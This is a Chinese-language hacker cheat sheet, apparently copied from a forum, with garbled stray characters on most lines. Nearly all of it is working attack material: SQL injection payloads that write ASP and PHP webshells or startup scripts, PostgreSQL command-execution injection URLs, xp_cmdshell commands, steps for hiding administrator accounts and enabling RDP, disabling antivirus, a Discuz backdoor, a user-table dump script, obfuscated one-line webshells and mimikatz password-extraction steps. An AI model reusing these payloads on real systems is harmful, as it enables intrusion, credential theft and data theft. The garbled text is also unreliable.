   找到PID值所对应的端口
2 Z" K! @& q$ A+ M
; r$ C$ N, Y) L; u8 H: ]查询sql server 2005中的密码hash6 |2 j/ F& g0 V% t0 E
SELECT password_hash FROM sys.sql_logins where name='sa'
! B0 }" ~) }( MSELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a
2 V5 s, U5 q) l0 q7 s! V! Kaccess中导出shell2 p7 u8 E' o8 B$ K) J

/ H1 ~+ {2 m  W7 f中文版本操作系统中针对mysql添加用户完整代码:& u4 |) x. H9 P, n

! S, @' n: c! e! n3 w$ huse test;8 N+ t5 g. g% o  y) Y
create table a (cmd text);: w3 Y' @' P7 C' O* L9 S
insert into a values ("set wshshell=createobject (""wscript.shell"") " );+ f4 L) b% P/ e8 h9 {' ?! [
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );
* E8 T: k% T( d! t/ I4 {5 \insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );# }3 p* J& E4 ]8 z% w
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";% f. d) S3 Y  i1 O) x
drop table a;/ g3 N9 A+ A1 B* e4 M) i# O

0 |/ D( W& `) ?& e0 ]2 {, U英文版本:3 i" u# t6 g& @1 ]% J) X8 b
% F+ ]. K8 m4 Y+ R3 z' |1 u
use test;
/ G& E5 W& x1 g6 w! i6 i' o! screate table a (cmd text);
* |; Q: ], y" V: f- f1 `6 Cinsert into a values ("set wshshell=createobject (""wscript.shell"") " );
; x# n% j0 D- e6 `4 ~2 L9 oinsert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );
. e: K  f: t; S! D; qinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
" O7 g+ u9 ?; h1 V8 y3 wselect * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs";
: ?4 l$ F. C% u+ i5 o6 Tdrop table a;
& |6 I# `. Q) z9 C
9 k! o4 g; }! l1 K8 f3 V! l1 ccreate table a (cmd BLOB);/ t: t2 }$ ]3 x! X; F; s; t
insert into a values (CONVERT(木马的16进制代码,CHAR));$ `% _4 A9 L8 L: D8 _
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'
) E8 ]; F+ z' j6 J. H5 J$ Bdrop table a;. a7 n4 X- m  g$ t1 F( t2 _

- b# s% Y$ e  u( [记录一下怎么处理变态诺顿2 g" W2 ^+ Y* L
查看诺顿服务的路径
. r. w" H* G, R  r  k* V+ ssc qc ccSetMgr
/ n! _6 T/ m: C; c! T6 s然后设置权限拒绝访问。做绝一点。。0 r6 R  m6 }# q0 s/ a
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system$ x! }$ V7 Q0 _7 @& A, c
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"
2 R. n2 e4 h. I2 l" {: e/ tcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators
. m2 Y/ Q; z( a0 i2 T" w+ H' Hcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone
( A% a) l2 U3 R0 k2 R' U( ~6 _$ e0 j( x- e
然后再重启服务器
! d3 G/ h& o$ |6 S5 P7 viisreset /reboot6 p* i7 l( B0 O# |& U! v" |
这样就搞定了。。不过完事后。记得恢复权限。。。。! W7 P  i5 a1 g+ ?% t7 W; ?$ _
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F+ x3 |. B( K& X* a8 A
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F: [* |9 _% Y2 [
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F
* \. i7 _8 Z' V; j! @7 R& x- Icacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F* ?9 O' P4 ?$ X' w
SELECT '<%eval(request(chr(35)))%>' into [fuck]  in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin
* @3 L5 h5 @- p1 G) \! {0 c
7 B+ ?4 o8 Y9 S3 X1 _6 q. rEXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')
2 @/ j  |% f3 e9 [1 Y! ]& u- E8 b" x; ]9 h' K6 R9 ~6 p
postgresql注射的一些东西4 a' v3 e: F! R, S: ]* @% D9 {' p
如何获得webshell
0 x9 K4 Y" Z2 r1 C5 Z: c$ z$ shttp://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null); 6 q- m% X( G9 v
http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$);
8 j8 V+ s+ s0 D( X, ?  ?http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;9 @$ f+ q, J$ t
如何读文件: p& e1 {3 @5 q1 T
http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);
' W) Y, C: v7 O1 x* d* s0 ^http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;0 N9 p7 C' q4 r& x- q
http://127.0.0.1/postgresql.php?id=1;select * from myfile;1 ]7 h) d5 ]2 t, G, R+ R
/ k: F4 p2 [, U- \
z执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。1 M4 c, i  G! T
当然,这些的postgresql的数据库版本必须大于8.X) T; g  |! q/ |) d
创建一个system的函数:
0 Z: {4 s( w# w( @9 vCREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
8 ]' @, v% l' |: M- r; R8 c( U5 Q2 Y
* _/ q7 {2 Z" T) |% P: j创建一个输出表:5 L  N. U9 K; w9 X7 s3 s' j
CREATE TABLE stdout(id serial, system_out text); H+ o: k* ]. O& [

$ ]8 D- q+ D* }, S, r$ H) F执行shell,输出到输出表内:0 R8 P0 y" C, z) ?! o1 @
SELECT system('uname -a > /tmp/test'), |8 v9 X& i* U/ y0 Z2 n8 X

. H" F3 r" {; H7 |copy 输出的内容到表里面;
( y5 ]# A1 a5 c2 x* MCOPY stdout(system_out) FROM '/tmp/test'
7 h2 W* {$ y& @- D" Q' ?% a; x* Q" _* J8 h9 o4 t+ w  R
从输出表内读取执行后的回显,判断是否执行成功! i/ u! D1 }: Q- t9 e& P1 b6 Z
, V5 q5 }/ R6 d9 P& p: m- R' H
SELECT system_out FROM stdout  g% A/ R5 Z! m! d, }- G8 r
下面是测试例子, c- s. k+ T6 D

1 L0 j& ]# P$ |3 k6 V& q9 u3 g7 _9 n/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 8 \' X. B' P& X; F7 D' d9 E5 s7 R
( w. b* L& E+ {0 X5 V
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
# f4 R! ]8 i$ E" V2 V9 pSTRICT --
! y; k1 }5 K" M8 Q! E. G1 l4 V3 d$ L
5 x# y) q9 c2 x- U8 A+ i& c' u/store.php?id=1; SELECT system('uname -a > /tmp/test') --* K# b3 ~( r. F7 m, C7 v$ g" h
+ G6 [8 n1 k. n$ b- c' ]
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
1 g4 [" H8 O& R' q' a: t8 k# o! g2 Z7 y  A( p2 U+ E; {$ I* m' Y
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
* P' `4 F3 ~: g5 J0 U  Tnet stop sharedaccess    stop the default firewall  }  ]9 W; a0 B  d
netsh firewall show      show/config default firewall
+ L# u! i( f& H2 O- i' c7 g: lnetsh firewall set notifications disable   disable the notify when the program is disabled by the default firewall
% Z( J: P4 c8 A5 xnetsh firewall add allowedprogram c:\1.exe Svchost     add the program which is allowed by default firewall
/ O+ A8 @. E* i, t1 d' X# ~; t修改3389端口方法(修改后不易被扫出)+ G, U7 p* ]. l1 |# z
修改服务器端的端口设置,注册表有2个地方需要修改! A6 N$ N, X: K2 J+ r# ^

& M9 P* N* Q) A1 z% G7 u  D[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp]
" a. ^2 x% m  W7 F7 {. BPortNumber值,默认是3389,修改成所希望的端口,比如60009 s4 P5 m6 l! f4 p

5 `9 |+ ]4 U: m" l" E: X第二个地方:6 E2 J) X( t1 S. N
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp] ; ~  ~% [  P- j0 N: W
PortNumber值,默认是3389,修改成所希望的端口,比如6000
4 P, f0 q! x+ _# `$ m4 U0 d5 u$ ]1 |+ e! S
现在这样就可以了。重启系统就可以了
. l/ f8 }% L8 F% N  m1 k  m" i
查看3389远程登录的脚本' e+ R+ }1 H4 Z8 }) |7 E) ~. X) `
保存为一个bat文件! o) B" p) |0 U" e
date /t >>D:\sec\TSlog\ts.log; P3 k( ?3 I, ?' X8 D" I3 p2 n
time /t >>D:\sec\TSlog\ts.log" O! M% W! Z3 x/ N3 b
netstat -n -p tcp | find ":3389">>D:\sec\TSlog\ts.log
! C- u- U1 S7 @/ ^4 @& D" s  sstart Explorer2 r- k, u8 J, j3 Q- {

5 D. z5 E2 M* k1 z* R( Hmstsc的参数:
; s% d0 C( Z: t
2 N7 @% a6 c1 x  Y, M远程桌面连接4 n$ E$ Y1 B; S% i+ d
( m% R6 Y/ w1 B
MSTSC      [<Connection File>] [/v:<server[:port]>] [/console] [/f[ullscreen]]
! t6 s( o% ~2 \8 I+ G" A6 Q8 _; g  [/w:<width> /h:<height>] | /Edit"ConnectionFile" | /Migrate | /?
2 {5 d3 ~5 b* @4 W
, ?* F% _8 `2 K# r<Connection File> -- 指定连接的 .rdp 文件的名称。! t: I3 ^) v' V* r1 A- z# f- F

- a+ c; {6 A+ r5 K  W/v:<server[:port]> -- 指定要连接到的终端服务器。) W' g( d1 Z* T" Z" }& a& H8 c9 A

  h  w; ^+ |7 }" V0 M9 z' b/console -- 连接到服务器的控制台会话。2 T$ D# v# ~, C8 c' `; W
5 q) E- z& ~3 d. h, h
/f -- 以全屏模式启动客户端。7 h5 ~0 Q( b8 f/ S- K

3 z8 Y) {' t7 T% w7 A/w:<width> --  指定远程桌面屏幕的宽度。
. n8 h1 D; d; ?# Y' `8 Q1 \. n) M$ S. p3 Y" i7 b* x
/h:<height> -- 指定远程桌面屏幕的高度。' D, a; t1 \; V+ k- o) G- w. Z

# s* P$ L; f! t; c2 J4 f/edit -- 打开指定的 .rdp 文件来编辑。2 l& S$ [/ Z& R: {, b. F6 r% [
/ Q8 \* @2 @. |1 i) v" E
/migrate -- 将客户端连接管理器创建的旧版, Y- x& C! G/ W: O8 Q( E" ?, P
连接文件迁移到新的 .rdp 连接文件。1 @6 d9 l, ^# h/ W( P# X% m2 c% _, t
% T* o5 X" i( K) C3 a- P

5 M, \) m* T# u; P" J/ u其中mstsc /console连接的是session 0,而mstsc是另外打开一个虚拟的session,这样的话就是相当与另外登陆计算机。也就是说带console参数连接的是显示器显示的桌面。大家可以试试啊,有的时候用得着的,特别是一些软件就7 M6 X) f) e: ?' B
mstsc /console /v:124.42.126.xxx 突破终端访问限制数量
/ D% W1 ?! x; F. k. e7 i
' K# C" w) O6 H" e: i命令行下开启3389/ _) y0 v- s7 Y8 [
net user asp.net aspnet /add
8 O$ @: i2 m% G* @7 d3 U7 T6 U# nnet localgroup Administrators asp.net /add; T5 ^( B7 e& h9 M# o
net localgroup "Remote Desktop Users" asp.net /add
8 W" N1 L" y, l. Y, K. B7 M& tattrib +h "%SYSTEMDRIVE%\Documents and Settings\asp.net" /S /D
2 b" M* r" A0 u6 M  K; Q4 Qecho Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0
1 c: _2 o0 @$ F& b* b1 c# C: lecho Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v AllowTSConnections /t reg_dword /d 1
% d0 M# f" ~/ p+ R) V* a2 R- ^echo Y | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "asp.net" /t REG_DWORD /d 00000000 /f
2 K0 _. b6 x# G( L7 ]4 P9 gsc config rasman start= auto( G3 Y9 k  R" T. h0 C' M! }3 i
sc config remoteaccess start= auto# h2 A  H  @9 t, s0 A4 |  N5 I
net start rasman
: K. i- P' k! a* u2 W- B- n( xnet start remoteaccess
5 r) o0 c. S+ v0 P; iMedia
- P: ?2 W8 B  t$ b! |4 t- {0 j* S<form id="frmUpload" enctype="multipart/form-data"
& ?7 f9 ~# G) iaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>+ _5 C2 _" `9 ~9 L' c
<input type="file" name="NewFile" size="50"><br>
) t; G, E& w: s2 R: N8 ?<input id="btnUpload" type="submit" value="Upload">9 E0 z/ _: Y# [% I9 T$ k5 I5 J
</form>& v  ~3 m! B% A& y7 y
5 {( h! }3 d7 k3 [7 z" M
control userpasswords2 查看用户的密码
! R5 M4 j3 G9 [! vaccess数据库直接导出为shell,前提a表在access中存在。知道网站的真实路径  j9 c" K# X/ u: k# y
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a
* ]6 V0 o; [* c0 z& g0 o
5 |  \, y8 P" j2 B! f2 q- f& f' d141、平时手工MSSQL注入的时候如果不能反弹写入,那么大多数都是把记录一条一条读出来,这样太累了,这里给出1条语句能读出所有数据:
" W7 Y$ e$ J) a- J1 L! A0 Y3 V. a! \3 a) T测试1:
/ p% n; w# @6 }6 i: `# a6 aSELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t  where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1
6 x! T& O. Q& m' F( l* Q% h0 Y
1 M9 p5 _, I/ }, x- l测试2:
1 Z% z9 c1 h9 e/ Z, f7 n- E7 s
9 _+ O0 @' U' J0 M( lcreate table dirs(paths varchar(100),paths1 varchar(100), id int)
. }, c7 I5 {5 E+ y
$ l, g+ ]( U% [! h: udelete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--. M( r  r9 X  c2 X) a  L

( P% b7 n6 K$ J4 g1 Z% \  O+ d8 |SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1
' N8 Q, k+ T5 I: P( l- b3 A' y* }关闭macfee软件的方法://需要system权限,请使用at或psexec –s cmd.exe命令2 m" \( A; U. f# e+ x* l# z
可以上传.com类型的文件,如nc.com来绕过macfee可执行限制;
4 y& z/ [* M- m- znet stop mcafeeframework
2 i+ M  @: T" Q7 ?9 Z% Znet stop mcshield
+ [9 Z# |7 U' @- }$ Ynet stop mcafeeengineservice
% u1 U# ^6 ]2 Qnet stop mctaskmanager0 b# E& r' F2 e+ a/ b: g  h
http://www.antian365.com/forum.p ... DU5Nzl8NDY5Mw%3D%3D/ R9 w( w7 C5 |, a# `+ X& l( A

$ Z/ T/ J7 Z( _- `: x  VNCDump.zip (4.76 KB, 下载次数: 1)
& m6 Q7 [. `1 r4 X  W1 k: f1 f$ ?& |. E密码在线破解http://tools88.com/safe/vnc.php& q' T2 l1 l3 {$ b7 Z3 ?3 g" |; o
VNC密码可以通过vncdump 直接获取,通过dos查询[HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4] 下的Password也可以获取
$ z* {. ^# j0 j1 a' O3 ]/ T
, y8 t4 [' N0 h) Jexec master..xp_cmdshell 'net user'
/ i9 q+ c1 {1 u7 d3 xmssql执行命令。. G5 @' }3 M1 S8 x
获取mssql的密码hash查询
3 Y$ B7 I- J3 c) xselect name,password from master.dbo.sysxlogins
' q7 \1 P) ~9 _/ G8 X' ~$ L4 }+ ?9 p/ l' V( y; c; u
backup log dbName with NO_LOG;% X8 N5 \- x+ I+ `8 D, p
backup log dbName with TRUNCATE_ONLY;* Z; o- E2 h; V4 u7 j
DBCC SHRINKDATABASE(dbName);" g$ i0 Y0 |0 u; c, m$ k
mssql数据库压缩9 L/ }2 G$ ~  |: a/ c* H/ [; s

, l/ r! {. ?5 C+ i: F/ W5 G- n0 `& s+ XRar.exe a -ep1 -m0 -v200m E:\web\1.rar E:\webbackup\game_db_201107170400.BAK
, L$ M  i2 `* c' {) a/ u/ N6 i3 j4 A将game_db_201107170400.BAK文件压缩为1.rar,大小为200M的分卷文件。8 l- X# t. O# r" H& g; ]$ R

' ~! [+ S8 p( M+ r( c( q. ibackup database game to disk='D:\WebSites\game.com\UpFileList\game.bak'
& v, a8 c& F0 g4 t- A! R备份game数据库为game.bak,路径为D:\WebSites\game.com\UpFileList\game.bak
3 A- y( x: q/ v6 u9 Q
) \) {2 q7 m2 D7 b( N- UDiscuz!nt35渗透要点:
. O' c# `* V* Q' W0 k1 R. h(1)访问 网站地址/admin/global/global_templatesedit.aspx?path=../tools/&filename=rss.aspx&templateid=1&templatename=Default
( T8 @1 F: T! Y. ^(2)打开rss.aspx文件,将<%@ Page Inherits="Discuz.Web.UI.RssPage" %>复制到本地备份,然后替换其为<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
  S. @" k% G; \$ g; H$ \(3)保存。
, |; z- w9 W( P# f, K$ r1 t; B(4)一句话后门地址http://somesite.com.cn/tools/rss.aspx 密码为pass) z  q7 G/ i' i, L- ~6 ?4 F! j
d:\rar.exe a -r d:\1.rar d:\website\
6 l+ c" M" Y0 F递归压缩website
8 u' n7 b1 g5 I$ c9 {  r注意rar.exe的路径
0 q+ Z4 f; y' C4 T( i  r
5 X- ]# a) W! I4 a8 [<?php
0 M; \8 G" y# u5 f- L/ |* X: R4 t6 \, |7 D7 D5 \
$telok   = "0${@eval($_POST[xxoo])}";6 {! [3 L9 g& Z# L  N

. S' Z. n% _3 G& L* L. Z0 l$username   = "123456";8 Z/ v# e0 q5 ]1 p0 P# A

: n3 g6 @4 j4 y$userpwd   = "123456";
6 M2 s+ `2 P$ [: N0 @* ~. a7 v3 x* }& `
$telhao   = "123456";
, ]# j% N$ c% U( h
* t: `% t2 w" X$telinfo   = "123456";
" _4 Y" Q  T9 t2 M' U+ g
6 X+ ^+ n. D7 L2 ~, e( t9 f: Z, Z7 v0 M% Y?>$ ?2 \$ I" a( {6 v* t# T' e
php一句话未过滤插入一句话木马" _7 o2 u" Y0 E, l1 B
: {- j1 w) O- }  l5 q
站库分离脱裤技巧+ T! s6 d& B' G+ O# V
exec master..xp_cmdshell 'net use \\xx.xx.xx.xx\d$\test "pass" /user:"user"'6 q7 F' d! @! n
exec master..xp_cmdshell 'bcp test.dbo.test out \\xx.xx.xx.xx\d$\test\1.txt -c -Slocalhost -Uuser -Ppass'
4 j% \4 ^7 S  n. c. g条件限制写不了大马,只有一个一句话,其实要实现什么完全够了,只是很不直观方便啊,比如tuo库。
) ]) \1 `7 \& O5 b( J" D% Q这儿利用的是马儿的专家模式(自己写代码)。
) Q. q  U5 i/ X2 f9 v% _ini_set('display_errors', 1);- \2 _/ f7 G6 Y6 ^
set_time_limit(0);
* X+ ~; I6 v2 I* h- N9 aerror_reporting(E_ALL);5 X5 @: }2 F3 O( y
$connx = mysql_connect(":/var/tmp/mysql.sock", "forum", "xx!!xx3") or die("Could not connect: " . mysql_error());
( \6 L0 p4 N: _  Fmysql_select_db("discuz",$connx) or die("Could not connect: " . mysql_error());
7 j' f: r. Z4 y, c1 D$result = mysql_query("Select * FROM members",$connx) or die("Could not connect: " . mysql_error());7 u  a. H0 t# p/ {+ x
$i = 0;. u; V* J9 x* V( M1 r9 q
$tmp = '';
# a9 Q: o- _# \/ S8 ^while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
4 Y) M% C" _, V1 |! }    $i = $i+1;
4 b0 ~7 k- ]8 ^2 W    $tmp .=  implode("::", $row)."\n";
/ ~+ u# y* q; c% n9 \  e    if(!($i%500)){//500条写入一个文件
9 d- t5 Q9 m$ t        $filename = '/home/httpd/bbs.xxxxx/forumdata/cache/user'.intval($i/500).'.txt';
4 U8 V, B! k5 N        file_put_contents($filename,$tmp);
6 S5 N5 ?3 ], f: H        $tmp = '';
( G- f/ K9 X3 p) }9 h; b    }
0 p% N/ |, J) P0 @}0 ~# Q5 c- ?4 E" M
mysql_free_result($result);, C) R7 l; K" H3 K8 |* P

, P& t" J3 H/ U! W$ L4 u
/ K9 }* `6 }: Q/ X- e. @
0 h. ?8 @$ ^# C0 W5 [" @; J//down完后delete; w: m8 T0 }/ s7 E* u. ]$ Y( h, J
  ]" Q9 Z8 c7 I. P, h/ U. n

( ]3 Q8 }$ S, f  fini_set('display_errors', 1);. l$ e  Q4 O* ~
error_reporting(E_ALL);0 j% }- X. D$ N3 S+ R
$i = 0;) w# C' M$ ^( b0 D0 |& I5 j
while($i<32) {& w& E3 W; `3 h8 v' C2 z* }
    $i = $i+1;7 j, e2 w- O  \6 L. U& S
        $filename = '/home/httpd/bbs.xxxx/forumdata/cache/user'.$i.'.txt';
7 G3 a: m. E  P        unlink($filename);
! j9 ?9 @4 a) S8 |9 U- H& _! O4 e} . ]+ `% W+ g( {- G# i; D+ D
httprint 收集操作系统指纹0 d8 a& a6 C( g1 J4 B; v
扫描192.168.1.100的所有端口
4 \% [- W3 L- q, B2 [+ g+ \nmap –PN –sT –sV –p0-65535 192.168.1.1001 ?1 Y+ [- @* Q4 V- B; [$ r; l! o) c
host -t ns www.owasp.org 识别的名称服务器,获取dns信息
* T4 ~6 E% C% z% t3 _8 ~3 b7 q$ o1 Uhost -l www.owasp.org ns1.secure.net 可以尝试请求用于owasp.org的区域传输" n: {. i# R. e9 F( o
Netcraft的DNS搜索服务,地址http://searchdns.netcraft.com/?host$ J/ z; W$ a6 K, t& c. Y; X2 }: {
' V3 N. s+ D8 W) X+ w4 `
Domain tools reverse IP: http://www.domaintools.com/reverse-ip/ (需要免费注册)5 D# f# H" h' U( H4 K' n# A; }
$ f3 s$ m& z/ s# w6 I! _3 v
  MSN search: http://search.msn.com 语法: "ip:x.x.x.x" (没有引号)2 `+ [) c9 D2 Q4 G* h& A) H
* Y( r6 X3 n8 b# k- d
  Webhosting info: http://whois.webhosting.info/ 语法: http://whois.webhosting.info/x.x.x.x
1 ]& \+ o2 k0 y; ^% A2 z
  ^8 X- ~, ^( A( B  DNSstuff: http://www.dnsstuff.com/ (有多种服务可用)
0 P2 M% v4 J4 h" g5 f( @# k& z0 h2 `3 w
  http://net-square.com/msnpawn/index.shtml (要求安装)
' W' J2 _+ b+ y3 f' a8 x+ z8 @" f/ s
  tomDNS: http://www.tomdns.net/ (一些服务仍然是非公开的)
, }: C( C; _, a: H+ C3 m  e+ Y9 ?) v3 I+ U
  SEOlogs.com: http://www.seologs.com/ip-domains.html (反向IP/域名查找)
# I$ E4 `1 ^+ `& F/ x$ p  N( iset names gb2312  z% X8 V$ O+ K- `  w0 X1 [/ ]" M
导入数据库显示“Data too long for column 'username' at row 1”错误。原因是不支持中文。: ~  D1 s5 [& J. C' e& E, ]/ I
$ _7 L1 e" i% s9 E+ |3 ]: G3 F7 T  k
mysql 密码修改
7 K- x/ A7 T/ X& U; V3 ZUPDATE mysql.user SET password=PASSWORD("newpass")  whereuser="mysqladmin ”
) `; f2 ?9 w$ p! [5 oupdate user set password=PASSWORD('antian365.com') where user='root';9 ]4 ], S# D# C4 @, [# p; ^4 L6 ^
flush privileges;+ {6 F3 ~+ U* B! r
高级的PHP一句话木马后门
1 M: _3 i  k1 B" z
: _  F* [$ z% H" Y  a- u. w入侵过程发现很多高级的PHP一句话木马。记录下来,以后可以根据关键字查杀6 Z- f  g) b$ {  o7 H! p
! \8 t1 B  U' `2 n1 d
1、
5 {9 N5 [4 ~2 [& R: `6 T
9 w9 M$ ?! e3 c0 b1 Z# d5 p$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
. k3 F: D$ w+ u5 k3 |! ^- @9 s) A9 d' d9 s( [/ T
$hh("/[discuz]/e",$_POST['h'],"Access");
( l1 z5 G9 X* n9 M  l: K! n& a. R' d8 Y# I) B8 {
//菜刀一句话
. y& m; G, s* V! `3 S  h4 U& p
5 h- w* v% W& D8 i: X; F2、
4 Q* r/ L" g  X
% d* S2 ]* D2 l7 O( ?0 z$filename=$_GET['xbid'];- A% l1 }, @9 Y( F; O6 f" @

" F. m  }+ Z. B4 z; m- M+ ninclude ($filename);/ c' F) {2 R% c9 G2 o8 ~3 e
: t7 l6 u# ?, r$ c* i
//危险的include函数,直接编译任何文件为php格式运行
6 j2 y: J  z5 f& E5 k$ e8 J9 l! F5 ~- c9 D# x: S* x/ Q
3、
% _+ \3 [! b* G1 a* W! ?, }$ R
& ?- ?! U# q. P3 }) \( r3 X$reg="c"."o"."p"."y";; ^4 U5 n) P0 H; Q2 V' X

3 m( ~' i& R0 g% }$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
8 |0 j& @! Y2 B$ B
  |% q! K; s" F  S( D! t//重命名任何文件
4 a# K0 ?6 g1 X& {, q$ ^7 I2 n! _/ }5 S3 K. V0 `& n2 h/ o6 \! d1 e
4、
, w& o9 \3 m* K0 D5 G( F7 Y! P: K8 {2 L4 c
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
( N) K3 }) A6 `4 H, F: K0 H9 b5 d& I2 N8 y
$gzid("/[discuz]/e",$_POST['h'],"Access");
* m6 ?8 V" p& E5 M/ ?  x! b
6 ^: q5 B# k9 [+ ]//菜刀一句话
( K, ^0 @' ~5 n- E/ E! d' f- Z& ?4 g8 z1 \6 X4 R" b; @& ]' }
5、include ($uid);
2 K) j1 |2 `+ b
* X/ P- t: R5 `( p3 j//危险的include函数,直接编译任何文件为php格式运行,POST
9 F/ {7 k" Q' i) j+ Q) P
+ i% m, W( Z6 G2 E; D$ P, l. Y
4 u5 ^# J! m; e//gif插一句话
0 o0 d* H/ i4 y; f5 P, N( S
* a/ f, K; c* b6、典型一句话
4 F- M3 C5 ?0 a$ [; b, D$ C
, Q/ s2 l# g' R4 M$ H8 q程序后门代码/ y: h: K4 r4 E. w- m
<?php eval_r($_POST[sb])?>. C5 U5 U: x+ a
程序代码# S) q# S8 ^( J8 n. i4 d& D$ ~: U
<?php @eval_r($_POST[sb])?>0 U) M& G6 L/ _" u
//容错代码& }( {/ {% ]  i$ i
程序代码
5 |6 T9 O3 ~6 {4 z<?php assert($_POST[sb]);?>
& x9 {6 a5 d5 F//使用lanker一句话客户端的专家模式执行相关的php语句
3 x$ z4 X3 u$ i# g% p1 c程序代码# V' k7 k1 Y- [" T
<?$_POST['sa']($_POST['sb']);?># ]' Z7 g/ V7 l" h( Q
程序代码
) w, H% e0 v; `+ B<?$_POST['sa']($_POST['sb'],$_POST['sc'])?># |" K, n8 L, m+ c
程序代码& k/ ]+ @* z) B  L6 u$ `! q
<?php
6 F: x" i$ V) A% A# t, h0 f@preg_replace("/[email]/e",$_POST['h'],"error");* @& l; M% _) Q
?>0 c/ X2 T( G, N: D- a# }
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
& r& ~; {( L( h" u  |程序代码
4 w$ u) Q1 z/ \  `$ t<O>h=@eval_r($_POST[c]);</O>
3 z* L$ {' z  O$ B程序代码! I5 l( a; S5 g' V& W
<script language="php">@eval_r($_POST[sb])</script>. L7 ]% r1 o' z7 f6 `7 s4 q) {
//绕过<?限制的一句话
7 `1 y' E% o9 y- E1 M
3 t6 x- [* [: \( Y2 W2 e: Yhttp://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip+ i5 E' d9 b1 \1 `
详细用法:8 T& z$ A3 W% c1 t  q- P
1、到tools目录。psexec \\127.0.0.1 cmd* ]- I( \( c% c3 @
2、执行mimikatz
- ?, ?' @$ a" S6 @1 W8 S- ?3、执行 privilege::debug
  i6 g/ D* U  E) D: B4、执行 inject::process lsass.exe sekurlsa.dll1 i% `( @$ r. ]- h" d. w
5、执行@getLogonPasswords. m/ Q+ `6 E7 ]( ~8 l
6、widget就是密码
8 C$ ?; g5 x' U7、exit退出,不要直接关闭否则系统会崩溃。- @3 z9 S5 n+ r/ X2 E

& b! z3 a8 \: P; P2 x, ~http://www.monyer.com/demo/monyerjs/ js解码网站比较全面2 a- g$ m0 D* t. {! e' a
' D2 `: c% O3 x' c
自动查找系统高危补丁& n, L- l- w6 e8 o% s# J
systeminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt
& u; F8 E" E0 n7 O- J  ?& }+ T+ c$ s$ O# a- G
突破安全狗的一句话aspx后门. I# `7 ?0 y' y3 @- u
<%@ Page Language="C#" ValidateRequest="false" %>, Z9 x# r/ A* L* B/ c! p
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>$ W4 {) E7 R3 q5 f# ?
webshell下记录WordPress登陆密码
4 f8 L5 M9 j; y( T6 l. X( M: a( gwebshell下记录Wordpress登陆密码方便进一步社工
0 i$ |# r1 R0 O4 n# b在文件wp-login.php中539行处添加:
